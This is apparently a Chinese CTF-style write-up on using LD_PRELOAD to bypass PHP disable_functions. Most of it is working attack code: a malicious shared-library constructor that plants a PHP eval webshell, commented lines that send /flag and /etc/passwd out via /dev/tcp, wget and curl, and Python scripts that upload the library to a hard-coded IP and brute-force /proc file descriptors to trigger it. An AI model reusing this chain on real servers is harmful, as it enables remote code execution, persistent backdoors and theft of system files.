1、前置知识
1.1 LOAD_PRELOAD用法
- 程序的链接
- 静态链接(程序编译的时候将链接的库加载进去)
- 动态链接 可以分为装入时动态链接和运行时动态链接,前者的场景是程序装载进入内存的时候进行链接,而后者的场景是程序在运行过程中需要什么库时链接什么库
-
LOAD_PRELOAD
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为
LD_PRELOAD
>LD_LIBRARY_PATH
>/etc/ld.so.cache
>/lib
>/usr/li
由于程序是运行时动态加载链接的库,如果让程序加载一个恶意的文件,那么就可以劫持程序的运行,从而可以绕过disable_function,执行命令
1.2 恶意.so文件的构造
evil.c
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
/*
1、写一个shell文件
system("echo \"<?php eval(\\$_REQUEST[cmd]);?>\" > /var/www/html/shell.php");
注意$前面需要一个转义符,否则在命令行下会被识别成变量标识符
2、读取flag
system("cat /flag > /var/www/html/flag");
3、反弹shell或者curl、wget外带
system("bash -c 'cat /flag' > /dev/tcp/vps/port");
wget --post-file=/etc/passwd addr
curl -F file=@/etc/passwd addr
*/
生成.so文件命令
gcc -shared -fPIC 1.c -o 1.so
构造更大的二进制文件,通过在一个so文件尾部追加脏字符
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
echo $var >> 1.so #需要echo一下,直接$var>>1.so会卡死
nginx -t #可以看niginx的配置文件位置
2、上传so文件,进行load_preload劫持
gen_tmp.py
from threading import Thread
import requests
import socket
import time
port = 28135
host = "1.14.71.254"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
import requests
from threading import Thread
port = 28135
host = "1.14.71.254"
def ldload(pid, fd):
sopath = f"/proc/{pid}/fd/{fd}"
print(sopath)
r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()